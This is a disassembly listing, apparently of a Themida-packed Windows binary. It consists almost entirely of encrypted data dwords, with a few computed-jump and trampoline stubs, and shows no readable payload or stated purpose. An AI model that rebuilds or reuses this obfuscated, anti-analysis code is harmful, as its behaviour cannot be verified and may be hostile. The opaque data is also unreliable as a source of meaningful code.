		dd 3E897E42h, 0ABFD54C2h, 4DAE8698h, 0BFEB0FCDh, 95F66A98h
		dd 274BF9CFh, 4ED0h, 29657800h,	968CF826h, 0B9F10FCFh
		dd 80F0FF6Bh, 20FDF272h, 4BA430A0h, 0CC7ADC81h,	0BCAFF5A4h
		dd 0B1CD6AB3h, 0B0323B17h, 0C3B74C84h, 0E45C9AADh, 0FD65BFEBh
		dd 0E658BEF2h, 728B8443h, 968D24D7h, 0FB0C42CFh, 0CDEF21E5h
		dd 1910Fh, 433F0000h, 24708D82h, 6BE8353Ah, 69D41215h
		dd 8C83B3A4h, 7480CF96h, 7E190C6h, 7FABE753h, 968D2AD8h
		dd 0FC6F39CFh, 0B8362AF3h, 98044FF0h, 0BBC9D5A7h, 27281A62h
		dd 0AA353771h, 4EF51AEAh, 0C31B4341h, 7C73F680h, 0CC2692CEh
		dd 45F51A15h, 0C3C98558h, 3140B1EBh, 4FFD9A1Ah,	25D7722Bh
		dd 90C98502h, 478147C0h, 0A6A00248h, 0DE0854A9h, 77F0CCD1h
		dd 0EB5FA578h, 0DAAE19E4h, 748A6B49h, 0EA32416Ah, 134F9D4Ch
		dd 854ECE7Ch, 532755C9h, 12CC0A1Dh, 0B9CB371Dh,	0E9E6618Ah
		dd 3738297Bh, 4066AD6h,	9DCD100h, 1314Eh, 6CB41E00h, 0ACC74838h
		dd 0E2D5A7ACh, 0DB5F5090h, 67BD40FCh, 2A4EAE5h,	0E63ECFC0h
		dd 0D9926B64h, 0B0B2748Fh, 73E1EE5Bh, 9657AD1Dh, 57588F99h
		dd 0F0655923h, 682D09DCh, 0F3000000h, 69AF6BB4h, 679072FCh
		dd 1308186Bh, 73E1657Ah, 348295C5h, 334F9685h, 0CE3A7885h
		dd 96949949h, 1E12AE4Fh, 96950939h, 1B2C7C4Fh, 385FC92Ah
		dd 4F96950Ah, 0D7DEB19h, 9694BC0Ah, 263ED8CFh, 0CF264597h
		dd 54228DE5h, 964D13C3h, 76E410CFh, 0A426A020h,	48833771h
		dd 151766E8h, 90B1AB77h, 90A498h, 0B4F60000h, 1C48386Ch
		dd 0B14C4386h, 29F4FB6Bh, 4EF1B937h, 0D5A79705h, 156FBECAh
		dd 346E242Bh, 61F8050Ah, 0C98583ACh, 70B6B1E7h,	0E693F9F6h
		dd 7D124E1Ah, 0CF9C58F5h, 0C8AC672h, 0D6FA7101h, 3CED85A0h
		dd 946966E0h, 0AE4ED9AFh, 4C2DDD72h, 7F3BCF8Fh,	76B72C96h
		dd 7F09A7A4h, 81ACC4CBh, 0ED077327h, 0C8347C73h, 0A5CABF47h
		dd 386884D5h, 8A68F19Eh, 3EDC215Fh, 6B726B29h, 3658D03Fh
		dd 91B5CCCAh, 6D78FCF6h, 85613CEAh, 0FBDCBC9h, 6CB4116Bh
		dd 0FA6867DCh, 6281898Eh, 0AAC6D5ADh, 340482FEh, 4934A742h
		dd 12B260F7h, 93B1C980h, 1AB4FC27h, 0DF53C1D9h,	4582100Eh
		dd 0E58DB34Ah, 0D6828DBFh, 0E48C83BCh, 29262082h, 0EF54AED4h
		dd 5C5396E0h, 0B49B9F41h, 34130B95h, 0A64748FFh, 7E6E95Eh
		dd 8D4BDC50h, 9E425B54h, 0F50F7B60h, 0F92F434Ch, 0B1BEA86Eh
		dd 909F49DBh, 0D932370Dh, 0C9876669h, 65D32398h, 7AE866E8h
		dd 59EABEA3h, 0F0FF6BB9h, 13F86AB8h, 0E669D9D6h, 6310B338h
		dd 4D03B1CFh, 0ABA4A7FDh, 588AEE52h, 17B1E1EEh,	4887E414h
		dd 0AE7F33E7h, 3B8h, 686C200h, 738A8543h, 0ED303F29h, 425B5497h
		dd 38C5CA7Ah, 926B64DCh, 0C919E4Ah, 0EF3E3130h,	46A7A895h
		dd 27C6C97Eh, 0E1895137h, 4C181h, 0E9830000h, 240C8704h
		dd 2404895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68240C89h
		dd 7B18h, 50240489h, 386F05B8h,	0FAB85067h, 35054578h
		dd 563B1D7Dh, 0C108E8C1h, 0D0F703E8h, 0DE05E0D1h, 896D6424h
		dd 0C12958C1h, 1BEB6858h, 24890000h, 24048324h,	89535804h
		dd 408F53CBh, 34FF5B08h, 0C4815824h, 4,	592434FFh, 0E904C483h
		dd 0FFFAA28Fh, 329C64ECh
		db 0D3h
; ---------------------------------------------------------------------------


loc_5A7739:				; CODE XREF: Themida_:005A7200j
		mov	eax, 616DAEFh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 8398h
		dd 64652418h, 0C9814D23h, 6B776864h, 13F2F25h, 0DD4B7741h
		dd 9EA4623Eh, 812458BEh, 193C3CE5h, 3A577FF2h, 419F7EB8h
		dd 2B4594Fh, 13C64F9Fh,	29E20889h, 3EA1222Dh, 760A4106h
		dd 0E2F55E05h, 1CE95BCFh, 5E000000h, 9C111F73h,	77E733h
		dd 4 dup(0)
		dd 0E9000000h, 0D0Dh, 16DDA468h, 0A20DE906h, 7868FFFAh
		dd 0E90616DEh, 0FFFAA203h, 16E01468h, 0A1F9E906h, 0F768FFFAh
		dd 0E90616E0h, 0FFFAA1EFh, 16E26568h, 0A1E5E906h, 0D168FFFAh
		dd 0E90616E4h, 0FFFAA1DBh, 16E66E68h, 0A1D1E906h, 7268FFFAh
		dd 0E90616E7h, 0FFFAA1C7h, 8AC0CF75h, 6E242B18h, 50060934h
		dd 361C13D6h, 157B74ECh, 88B86992h, 9757D187h, 0F770B298h
		dd 0D61092F8h, 0C92173D9h, 7FB09846h, 0B8F6AFC9h, 27A5C41Eh
		dd 0DE5267A9h, 8E8143ACh, 40D7037Fh, 0CF968C92h, 8C9D4DC2h
		dd 1EAACF96h, 8097C371h, 0CF968C52h, 95CFA3D1h,	43EEA4ABh
		dd 0CE413165h, 0D5A7B30Dh, 0FCF37381h, 636CDB21h, 5E28A69Ah
		dd 208FE3ECh, 22FBF470h, 0DA7D803Eh, 0C9856828h, 3E202375h
		dd 9DCCE06h, 0C9B04543h, 0E6ECDBBh, 3F156Ah, 0B4BB0000h
		dd 0C748386Ch, 0D5A7B150h, 20CD5846h, 4896635Eh, 0A19DF720h
		dd 73E15FAEh, 7A75ED07h, 9D3B6736h, 56902507h, 9ABBB59h
		dd 0F3270860h, 42C98491h, 734B55EEh, 3F09DC14h,	0D3h, 8E8143CDh
		dd 323D257Fh, 585791EBh, 0CCA2EEE8h, 2F9E3C59h,	18061B15h
		dd 5721C33Ah, 0DD039A95h, 49E8455h, 8C8D5DAh, 0A9C1CE7Eh
		dd 90C6C97Bh, 0A353C430h, 0A0CF9659h, 0D83B1C14h, 9ECF965Eh
		dd 7F10DD04h, 0CF9655CFh, 53AAD854h, 0ED5F85EDh, 0E05CACE2h
		dd 9655BF6Fh, 65EA44CFh, 0CF9655B5h, 0E08806B2h, 0D38F8042h
		dd 738A8541h, 5FF4A5CDh, 0E2752571h, 0D5A7737Dh, 0E988CE7Ah
		dd 68EF5B0Fh, 0CF9914DFh, 0A98C864h, 297BD1DEh,	32DB3639h
		dd 0AA894C67h, 0A88E551h, 61E70000h, 49FE286Eh,	57961046h
		dd 0B1B0F258h, 9A4ED8BEh, 0BF64BF95h, 7FD5DA0Eh, 60363925h
		dd 440A05C6h, 296F60E2h, 4EFC93EFh, 0D5C97FAFh,	87434C40h
		dd 0E660C288h, 0B429A3E9h, 3A48386Ch, 1D69010Eh, 0A7B1057Ah
		dd 37D662D5h, 8568DE10h, 6EF92FC9h, 0C6C9748Eh,	6966DD27h
		dd 7A3EAC94h, 0DCCBCCF0h, 0AE8209h, 432A0000h, 257F8E81h
		dd 6CEB323Dh, 0CF96918Bh, 1E747BE5h, 75C55A84h,	5E51920Dh
		dd 0B52A76B0h, 6AB8E607h, 342CF1FEh, 8F36316h, 0AACE978Dh
		dd 575218Fh, 0B45B379Bh, 0C6AAED71h, 0BAE95BAh,	1DABD5A7h
		dd 0EABE1A37h, 0B87D99BEh, 56E2CF98h, 5758881Ah, 7AA8AF1Bh
		dd 89CF9460h, 57D1377Bh, 0F60D9C93h, 2894CD3h, 9B40D39h
		dd 0D3B0000h, 6DDA4C02h, 4BFA2C62h, 0AD940E44h,	8EBAECA2h
		dd 0B358CB81h, 83C9C602h, 642A2521h, 480E01C2h,	2D636CDEh
		dd 528097EBh, 0D1C97FAEh, 87434044h, 0E660C288h, 0B927A3E9h
		dd 0EDB83BF3h, 304A2E0Bh, 7F8E8143h, 5E343B25h,	0D181D533h
		dd 0A7A7FDBEh, 0D245B1D5h, 0C9857224h, 329D9523h, 2FE06786h
		dd 41C98572h, 257F8E81h, 87EC313Eh, 3126C641h, 0C9857201h
		dd 157CEA06h, 0A69E8083h, 0E809DCF0h, 646h, 386CB4B0h
		dd 0AB3CC748h, 0C052D5A7h, 4FF10C03h, 0AC948C2Bh, 6E40EE61h
		dd 0A9C7C985h, 61DD8D3Bh, 856E40EEh, 0E46BC7C9h, 0C9856E36h
		dd 6901BFCDh, 6E6599B0h, 4AB0C985h, 0FD000F38h,	6EF92F43h
		dd 0DCF54C70h, 0BADD0909h, 0C985768Ch, 2B1B6D9Bh, 0EF3B4C24h
		dd 0C1000005h, 48386CB4h, 0A7AF60C7h, 36D765D5h, 856ADF13h
		dd 69FA2EC9h, 25CE7B89h, 0EF83313Eh, 0DCC9596Dh, 5C81909h
		dd 90A70000h, 7A2E8A49h, 93A6090Eh, 9AE8D5A7h, 0E1CEA2ADh
		dd 3C2FB0B7h, 67946FC7h, 0B6D98907h, 0C9858388h, 86F3619Fh
		dd 9AAD4893h, 75218F55h, 727DEF05h, 6A4DC23Eh, 7F4BA37Bh
		dd 0ACC63CC1h, 1963BAB5h, 64DC212Eh, 0ACA39CF6h, 4B8F69C4h
		dd 0EE763E35h, 858AB98Fh, 0DC4AF878h, 0EF1F306Ch, 744380CCh
		dd 578788F8h, 0EC4380CCh, 0ABACD850h, 4992071Dh, 50A29E2Ah
		dd 71B39996h, 0E5153AF7h, 62459192h, 92D30314h,	24504591h
		dd 54E938B6h, 0A4034A05h, 8189347h, 91570000h, 0F96EB89Eh
		dd 0C706A0F6h, 212082C8h, 0A3E682Eh, 2FD44F05h,	0F454AFEh
		dd 0F0A6A995h, 0D4BAB5B6h, 0B99F9052h, 0DE0C037Fh, 65C97FACh
		dd 8143FC30h, 8440D28Eh, 0AACE728Bh, 26725EF3h,	68FAE56Ah
		dd 41FFD5ADh, 0B1E2640Bh, 0F2E8C97Fh, 0E55DB6B0h, 1AC913EAh
		dd 2369E715h, 89F9AD76h, 7FB16086h, 0B449E7C9h,	9BF1FE68h
		dd 7FB152F4h, 8C83BCC9h, 0EDE25CC6h, 5790E210h,	758887BCh
		dd 1BCB5DCBh, 23578914h, 7FA1CA7Ch, 758FFBC9h, 953BC2CDh
		dd 5842FD29h, 4D25532Dh, 1CCE081Bh, 79EB3D13h, 7EB09776h
		dd 17D5ACCFh, 3630F671h, 83F5339h, 4D000001h, 7F8E8143h
		dd 0E8353A25h, 968CC171h, 3E3133CFh, 3E313042h,	42AEA37Ah
		dd 0CA355A16h, 0CFD5AD68h, 24D960B1h, 70CD8F58h, 735CAh
		dd 818EB400h, 0E5EA59CBh, 0C7C875AFh, 0DDD21791h, 3A352D77h
		dd 0FB2AD354h, 980A404Fh, 0BBEDA3ACh, 57D18788h, 62B49A95h
		dd 0ACD9090Eh, 356EC97Fh, 717B65F7h, 18C3BA4Ah,	60E20068h
		dd 82469E6Fh, 0E25DC78Dh, 0C37DA7EDh, 0EC313E28h, 1690C674h
		dd 0D2C0DDD2h, 0EBED9034h, 4711FD0Ah, 363A5441h, 257F33A1h
		dd 2EB323Dh, 4FFB3DC6h,	42BE0A40h, 0E4393630h, 0E627D77Ch
		dd 803CCF95h, 485A62E8h, 10140FCDh, 0A4000000h,	9BADh
		dd 9FD7F100h, 0EDE04CF2h, 652557DBh, 0CBD2DD0Fh, 5C71D15h
		dd 18FF30Ah, 57FD12FEh,	0CB6C04FAh, 0CF967217h,	9F59EABEh
		dd 8C8346ADh, 0FB51CF71h, 6CB1BEA9h, 96513AEDh,	20593CFh
		dd 71F01BC4h, 3B1AF7Eh,	0EBD3FD4Dh, 9F6300B0h, 432AA0C8h
		dd 267E8F80h, 507E2A25h, 381CCB1Fh, 9E4F23E7h, 9070F3D5h
		dd 35C8C702h, 0A9747BEFh, 337139B7h, 32593F30h,	0CF960E9Dh
		dd 40B15F0Bh, 14397B20h, 3B0C0E62h, 790FCDEFh, 0FFFFFEBCh
		dd 5D7B6507h, 7B548E84h, 27DF7307h, 6D000003h, 7F8E8143h
		dd 968D36D8h, 0E1334FCFh, 0AB956867h, 509691C7h, 71B39996h
		dd 2225F8F7h, 0CF968D00h, 924FD012h, 0A32AE901h, 0A4DA2351h
		dd 9C949B4Eh, 570357B1h, 0AD14D7C0h, 51A0DCD5h,	8F5870E0h
		dd 0C7C773C8h, 26000005h, 3F692F20h, 0D7510708h, 0F1331916h
		dd 8F197F70h, 0A5FE545Bh, 9E915180h, 0F1FE6EB8h, 0D1DE099Bh
		dd 303F297Bh, 0AFA0D85Ah, 0C97FAA7Fh, 439D8F84h, 257F8E81h
		dd 0CA5C323Dh, 88BFD518h, 8CE21087h, 1D32CF96h,	0CF968CEDh
		dd 0B3C1CE7Ah, 8E4B5505h, 1DE4DD41h, 0CD3DA3D7h, 65B8B7B7h
		dd 9567DDFBh, 0C7B104C4h, 3CF171B3h, 963BEB1Bh,	6B179CFh
		dd 0A8AC037Ah, 1EEF1DABh, 0F00D02C6h, 9056D137h, 8788BB50h
		dd 0A17C73EDh, 14B01BFh, 0FCD363Dh, 24975h, 6BB41B00h
		dd 3131433Fh, 0CDCC9EAEh, 0CE7C497Fh, 9054F3AAh, 1DCE8561h
		dd 999653A1h, 0EB6CDC04h, 0D0A7B83Bh, 0A2F4BCC8h, 3F87BFA1h
		dd 17CBF123h, 9F000002h, 5ED2DD05h, 3F6BB42Ch, 8D1ECC43h
		dd 9725CF96h, 8C0DD376h, 1080CE85h, 15350917h, 0F37DF123h
		dd 3000001h, 32C07B65h,	24222D1Fh, 0FBBF818Ch, 7121755Eh
		dd 962A34DEh, 708D3BCFh, 852913D9h, 0F90A9ECEh,	7CAAAD19h
		dd 0FED0A7EFh, 0EA44434Ch, 0A7EFB565h, 8806B2D0h, 0EF87B7D8h
		dd 609CD0A7h, 763A0208h, 0AB74F123h, 4000001h, 433F6BB4h
		dd 968D26CCh, 0A39F2DCFh, 8D32E077h, 8331CF96h,	0D51B3EEFh
		dd 0D8CE858Bh, 0E35FBF48h, 0A78EBE6Ch, 5D3745D0h, 8785EDE2h
		dd 0F12315BFh, 175F3h, 81439900h, 7866D28Eh, 807121BAh
		dd 76A42B24h
		dd 8DCF95F6h, 35A3AC9Bh, 9650AC7Dh, 3A86B399h, 0F67BABACh
		dd 7C88CF95h, 0C60092CEh, 3225A1C9h, 0D5A71CF1h, 0A4A37AF6h
		dd 0C984D972h, 0B14C43FCh, 17F6F96Bh, 5F7D86DAh, 7D9DA6FAh
		dd 0D22B2427h, 3C000A6Eh, 7209DC58h, 48h, 0DC6CB41Ah, 0A29E6F60h
		dd 8CB161F6h, 3AB6CF96h, 0C4BBDC8Ch, 0A1D5A7B0h, 6890BED1h
		dd 7C96C985h, 4E407FB2h, 32D06C6Bh, 0C002BF59h,	0E03DAB3Ch
		dd 856EB569h, 979000C9h, 0DCF1B589h, 0A09CF609h, 0A8B4CBAFh
		dd 44000000h, 0F8262965h, 0FCF968Ch, 0F96BB9F1h, 15CD17F6h
		dd 8FB9831Ah, 25277D80h, 0DC3F642Ah, 0B4CF9691h, 22D0478Ah
		dd 54CF9689h, 231DE0EFh, 5731824h, 438B1878h, 40F1A7D5h
		dd 527C2C78h, 0D9C7E154h, 52AEC2E0h, 0A9FB9F3Dh, 0C7C88D5h
		dd 177D72F6h, 4F5A558Dh, 8F5D119Ch, 5BE753A8h, 92000003h
		dd 0B3F55B54h, 53D5BBB4h, 6DB79D92h, 1395FBF4h,	3172D8D7h
		dd 6A65DD0Ch, 4D428224h, 0ADA29D07h, 8C83BDE7h,	1B3C4CC6h
		dd 0C97FA8EBh, 43F92B78h, 46C28887h, 6ADE352Ch,	6183F765h
		dd 26A2E8E7h, 8E1F10CCh, 43ACDE52h, 257F8E81h, 0E25E343Bh
		dd 45585790h, 7FB0979Bh, 6CF968Ch, 60B2EEBAh, 0CF15E8E7h
		dd 93E7151Ah, 0B7A7E077h, 304CD5A7h, 8143E05Ah,	3B257F8Eh
		dd 8B16F0A4h, 0D856DDE5h, 0ADF9C772h, 0CB0781FDh, 8F572014h
		dd 78BB9C94h, 3ED5A741h, 0A8757AE4h, 6D9B944Ch,	8F1EAA05h
		dd 85389648h, 0F768D8C9h, 37F93932h, 17F66429h,	841916CDh
		dd 0CCEE79AFh, 0F0101385h, 557EC6D6h, 55DDA9AEh, 0DC20EFD7h
		dd 35A309h, 0B4490000h,	1C48386Ch, 1D28DEF2h, 0A9C1334Ah
		dd 0A71B9186h, 0FB6F85D5h, 0C2DBD410h, 231DE01Eh, 0C9D4604Fh
		dd 84DBDC0Eh, 6CF729C9h, 0DC5E4A72h, 0DC0409h, 43D40000h
		dd 257F8E81h, 91EB323Dh, 7F455857h, 0E78CC2CDh,	0CF969104h
		dd 97FDF26Ch, 791ED30Dh, 0CF9688C9h, 9814A35Fh,	464583D6h
		dd 0E7B767E8h, 304CCF95h, 95891482h, 0AEC2CD7Fh, 1712583h
		dd 0A6F2250Eh, 0A0D79D5h, 0C984DDDCh, 0DDE71738h, 0C07CC984h
		dd 0F097B5C3h, 848FFB78h, 0FD0BA4CCh, 4AD2B97h,	0FAC4A736h
		dd 0BA063347h, 20FB2B2Ch, 0FC08C985h, 597D124Eh, 0CECF98D3h
		dd 0B4ACC6B2h, 9753D5BBh, 50AC77Ch, 0CF93AED5h,	3AA82652h
		dd 4C2162EFh, 0BDA97289h, 1BEh,	5238372Dh, 361C13D0h, 187E71ECh
		dd 0FE545B8Eh, 0DDB3BCA4h, 0F070A14Ah, 0DF0F99FFh, 3F287AD0h
		dd 1EC85A30h, 81F93B11h, 7FA6608Eh, 7EAEE7C9h, 0D8888743h
		dd 8D5BDE3Eh, 0A8C0828Bh, 6D62DC46h, 6CB4D527h,	8CA555FAh
		dd 0F2A2CF96h, 5ECC7A75h, 0E15CB6E2h, 49211FEEh, 0A7B071E6h
		dd 0F3BA5D5h, 48B85CA2h, 0D4604F23h, 24E57A64h,	0B29BC906h
		dd 0F6282FFEh, 47C9857Fh, 744856D1h, 3A09DCE2h,	0CFh, 8E8143C2h
		dd 323D257Fh, 918B6CEBh, 7BE5CF96h, 24A21E74h, 31486B23h
		dd 5C86EABAh, 3310EDE2h, 12F965D5h, 51ACDAD5h, 0E0171EFh
		dd 0D5A6FC25h, 36392B79h, 960169D7h, 0BB05341Ah, 334EA47Fh
		dd 70E03D32h, 1D786E52h, 0D615B3EFh, 528097B6h,	0D1C98575h
		dd 21BA5A3h, 3B5CA8C0h,	0CF991938h, 77A39F2Dh, 0E6143Bh
		dd 0CF7DCF94h, 0C6C979ABh, 0DDD21690h, 4C730DCCh, 16C41989h
		dd 0BAh, 563C3331h, 321817CCh, 147A75F0h, 0F2585792h, 0D9BFB0B0h
		dd 0CC74A54Eh, 2B1B8DC3h, 0B346E24h, 6AD44E04h,	95E52F65h
		dd 7FA55482h, 4242D3C9h, 0F56C8743h, 8F3D23FAh,	0A0D79C9h
		dd 0CF968CDCh, 88F84D6Bh, 6068563h, 8042E088h, 4377C98Fh
		dd 40D28E81h, 37E68A85h, 167C73EDh, 99C99D7Bh, 0AD6809F6h
		dd 33374DD5h, 9ABDE13Ch, 0C97FB16Ch, 5BDF4DFBh,	0E73DC07Ch
		dd 82246A65h, 9BBE4F40h, 0E0894BC9h, 0B771F286h, 0CAEC2AB5h
		dd 192570FFh, 7746C876h, 0B3215FBEh, 936A65E1h,	0CF593FADh
		dd 0B18B121Dh, 0F16EBFB0h, 905294AFh, 0FD6FB99Fh, 33F2BF2h
		dd 4D000000h, 85430686h, 3F29738Ah, 5497ED30h, 0CA7A425Bh
		dd 64DC38C5h, 9E4A926Bh, 31300C91h, 0A895EF3Eh,	0C97E46A7h
		dd 573727C6h, 0C781E789h, 4, 4B951h, 0CF290000h, 243C8759h
		dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 51243C89h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 1C895C24h,	0DC366824h
		dd 3C8B0616h, 4C48124h,	81000000h, 4ECh, 24248900h, 4240481h
		dd 5B000000h, 242C8157h, 195126E6h, 8108438Fh, 26E60843h
		dd 1C8B1951h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 5F2434FFh, 4C481h, 14E90000h, 0CDFFFA95h, 0E711415Eh
		dd 0A9E0F02h, 0E851B8BCh, 0C5030616h, 0F0F0E0FFh, 7D742B04h
		dd 0C196DF2h, 7B9F62B8h, 70C67532h, 20EB302Ah, 859F0DEAh
		dd 4EF85854h, 4A6B2160h, 910B4C1Eh, 0A1DB6425h,	816B263Ah
		dd 0D64C705Fh, 37AA521Fh, 82750063h, 493118D0h,	52E93BE0h
		dd 0BA000000h, 0CF998h,	57000000h, 434AC51Ch, 0F9366148h
		dd 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h,	9D8993h
		dd 921DF4C7h, 0DE196063h, 9 dup(0)
		dd 0ADDE900h, 82680000h, 0E90616EAh, 0FFFA945Bh, 16EBB568h
		dd 9451E906h, 0AF68FFFAh, 0E90616ECh, 0FFFA9447h, 16ED7E68h
		dd 943DE906h, 3E68FFFAh, 0E90616EEh, 0FFFA9433h, 16EF4C68h
		dd 9429E906h, 0DE68FFFAh, 0E90616EFh, 0FFFA941Fh, 16F20B68h
		dd 9415E906h, 0F368FFFAh, 0E90616F2h, 0FFFA940Bh, 0D6BCB3B1h
		dd 0B298974Ch, 94FAF570h, 72D8D712h, 593F3030h,	4CF425CEh
		dd 0AB9B0D43h, 8BB4EEA4h, 0EA54CE84h, 1565AFE5h, 7FA3D402h
		dd 0C2C253C9h, 63DC6CB4h, 8D82FE6Ch, 0D5AD75BFh, 0F60C7C88h
		dd 0FB6BB974h, 0A03729F4h, 0C97FA372h, 4D9ED3F1h, 0CE434D9Dh
		dd 3A6C2250h, 69E60708h, 0E86FDB8Fh, 0CF96C17Fh, 0EA386884h
		dd 0A1217778h, 91999653h, 0CA7A9153h, 8A3838C5h, 0A6F2DE73h
		dd 5AD665EAh, 6593D5A7h, 5FFFD194h, 0D218E58Fh,	944h, 460C03C1h
		dd 226867DCh, 44A4580h,	0E2A8A7A2h, 0C98F8040h,	0DC04B55Eh
		dd 3B2B7DD3h, 1BC45E34h, 7AE43E14h, 65951F75h, 7FA244F2h
		dd 5252C3C9h, 0D28E8143h, 281C8340h, 388A83ACh,	86BA43F1h
		dd 0ADC73BF2h, 0FF61BCB3h, 32FF69BBh, 9633ED1Dh, 50CE7ACFh
		dd 0EE008EFAh, 1528CD72h, 46A28FE3h, 0EE312612h, 0F3D5A72Bh
		dd 944CA7A1h, 0A0DE029Bh, 0BA6CEB32h, 0BC984EAh, 0F5FA65BFh
		dd 0C6D86BBDh, 9DC49FEh, 37B0h,	6CB45800h, 93A4838h, 0F06E61E2h
		dd 37F332Dh, 0A7B1170Ch, 0DD205CD5h, 8568C87Ah,	808315C9h
		dd 0DDD21260h, 9F939C4Bh, 0DCCBA99Dh, 0C4E909h,	6BB90000h
		dd 4FBDF5FAh, 0F8262965h, 0FCF968Ch, 0C7262915h, 5D87EB19h
		dd 66BCECE3h, 0E980E8E7h, 45585793h, 96C2CD7Fh,	8D05355Ah
		dd 0F602CF96h, 5791EB82h, 964DF258h, 26CF9690h,	0C3652B24h
		dd 52FF0E01h, 0E1762276h, 0D5A7A77Ah, 391C17Fh,	43A5CDC2h
		dd 0A29ECA16h, 9920A2ADh, 5909A7CFh, 4AF41FCBh,	50ADA2A1h
		dd 8EC472E0h, 0D6232C14h, 894C2589h, 11964499h,	0F6000008h
		dd 8F197F70h, 0A7015758h, 41E3A9A6h, 5FC98F80h,	75AEE4EBh
		dd 2E2121D0h, 10E3E68h,	616ED94Bh, 404FF92Bh, 0DF70880Ah
		dd 0C97FA22Fh, 432D5F34h, 60C28887h, 0DED10DE6h, 229EEAA0h
		dd 821B14D0h, 8D09395Eh, 0E21ECF96h, 6CB47C8Eh,	50C74838h
		dd 15D5A7B1h, 0FC306E7h, 5EC98569h, 5A5592E0h, 43959D43h
		dd 0CBE6DEC0h, 0CCA809DCh, 70000000h, 0D28E8143h, 8C41F166h
		dd 0AAC6CF96h, 0BFEB17C6h, 968C6A98h, 274BF9CFh, 0B34A45FDh
		dd 96905F94h, 0F8F771CFh, 0D9D61092h, 0EC1A3D69h, 7BCF9689h
		dd 5FF4A5CDh, 1F752571h, 3C48202Fh, 0A7A7341Bh,	0D78331D5h
		dd 0EA8E81BDh, 5F0BD584h, 595691E3h, 2B79B5D1h,	76EA333Ch
		dd 0D22B241Ch, 9250A6Eh, 3DCF991Eh, 0BCD33F93h,	9C947767h
		dd 0BFD58533h, 72CE848Bh, 0DE2F2020h, 6CD40E62h, 21C39663h
		dd 76D7894Ch, 717C0h, 7976EC00h, 5D529113h, 0BFB0ADF7h
		dd 959A4FD9h, 0F2FD65BFh, 33E20B9Ch, 0D0523837h, 0F3351B14h
		dd 8F197F70h, 0BAFC525Dh, 0A121D146h, 6D26C97Fh, 8887433Fh
		dd 0E9E660C2h, 24B927A3h, 0DFA64761h, 43EF1D15h, 257F8E81h
		dd 1C13D03Bh, 1DC55F81h, 27558B12h, 8D18CA71h, 7CCF96h
		dd 968CDF0Fh, 0A0C864CFh, 37F2BF5h, 0AD76360Ch,	33606ED5h
		dd 85D3C840h, 39B76008h, 0C4093B49h, 7F96A353h,	0AE5CF3C9h
		dd 0B5C97F96h, 7EEC1807h, 0DB7CA818h, 0C97F972Bh, 0BBDC8C38h
		dd 0C97F968Bh, 0DE046C98h, 0A937636Ch, 7C441627h, 520B6F0Dh
		dd 0A6A313FDh, 292E54A9h, 0C97F8FF9h, 0D644F20Eh, 0C086F59Ah
		dd 7583CF90h, 4945C3A4h, 74E23B89h, 648h, 4208073Dh, 266C63E0h
		dd 84E41FCh, 0EEA4AB9Eh, 0CD838CB4h, 0C000B15Ah, 2F1F89CFh
		dd 0F386A20h, 6ED84A00h, 91E92B61h, 7F9F50FEh, 4EBED7C9h
		dd 0D5DA0F65h, 0CD7E08C8h, 0CA74AEC2h, 62DC38C5h, 9844906Dh
		dd 3D2E7697h, 6C8D4FA2h, 0DE4CFC4Fh, 0ED762ACFh, 0B836392Bh
		dd 42D5017Dh, 0CF95B094h, 0DB0D6593h, 535C8E48h, 334B73FDh
		dd 7070FCDh, 0D5000000h, 18BADh, 8CBEFF00h, 11CF968Ch
		dd 0A0B7E3B7h, 0D5AD75BFh, 0CA5808A4h, 0BD5B1718h, 22B050EBh
		dd 3FA1C922h, 0A9747BE5h, 58085CA4h, 91BB4837h,	0BDD20ECFh
		dd 0CF8F5A8Dh, 0AD0A6E9Ah, 0C94748FBh, 49BB7538h, 2E1CE189h
		dd 588h, 82C8C77Dh, 662C2320h, 480E013Ch, 2E646BDEh, 0D434CF4h
		dd 8040719Ah, 0EF5FC98Fh, 0CF78AAE0h, 2E188AC0h, 0D1296B21h
		dd 7F9E90BEh, 8EFE97C9h, 7F8E8143h, 0E9343B25h,	415C5393h
		dd 26C7C87Bh, 486AFDB3h, 2EE87BADh, 135D333Ch, 0FCDEF2Bh
		dd 767h, 0E9AD3500h, 0FF000000h, 0F8262965h, 0FCF968Ch
		dd 0A8262915h, 0F1EAFAAAh, 4C24FB67h, 0B0B707E1h, 44F26EBFh
		dd 994AD814h, 0EFBDE296h, 0F8D5AD59h, 7F21C4Ch,	1500D46Ah
		dd 297B87EBh, 3240303Fh, 10763A35h, 425B5496h, 0BF6FE05Ch
		dd 44C98057h, 0BD54028h, 29B7E35Fh, 1DC4B93Bh, 5E657412h
		dd 82ED5226h, 87CF9765h, 79EB3969h, 0ED454EE6h,	9917AB64h
		dd 0F8F771B3h, 0B6C50E88h, 0E7AC6426h, 0AB75DA93h, 7F8C83FFh
		dd 97D5A719h, 0F9B64009h, 84E6A856h, 301BFC9h, 161AD031h
		dd 9846C9B9h, 0AFC9851Ch, 1C8EBCD3h, 6795C985h,	0C9AE7BE9h
		dd 598F5FF9h, 47A5684h,	0D90F0000h, 212680D6h, 0F3E682Eh
		dd 69D84A00h, 72F63066h, 678C177Dh, 0D7BDB2B6h,	0B89E914Dh
		dd 9CF2FD6Eh, 81D7D80Ah, 0A654FB37h, 0BDC97F9Dh, 37ADA4E8h
		dd 0FF000001h, 67DC6CB4h, 898EFA68h, 0D5AD75BBh, 0D400708Ch
		dd 78858ABEh, 0B6ECB568h, 9917C1D4h, 9E915391h,	0F3FC6EB8h
		dd 8FDB252Ah, 82D3BCD3h, 0ACD8CF96h, 0ABA4A6FCh, 8E8143E5h
		dd 0A2F6D27Fh, 0ABA49CF6h, 7E8AEE52h, 7F70F002h, 9E07143Bh
		dd 205CD5A7h, 5FB826D1h, 9D49928Fh, 3E8h, 0E2A8A79Dh, 0C68C8340h
		dd 0A8EEE15Ch, 8EC4CB7Eh, 6D232C14h, 60E0113Ah,	4FFF296Fh
		dd 0AF980A40h, 8EB8EAA0h, 3149CB81h, 7F9DF01Eh,	0EE1E77C9h
		dd 7F8E8143h, 0EF70F103h, 2B4F239Ch, 2072E01Bh,	22402827h
		dd 15DE2F20h, 552EFF19h, 4293098Dh, 0A96FF82Eh,	90DAB0BFh
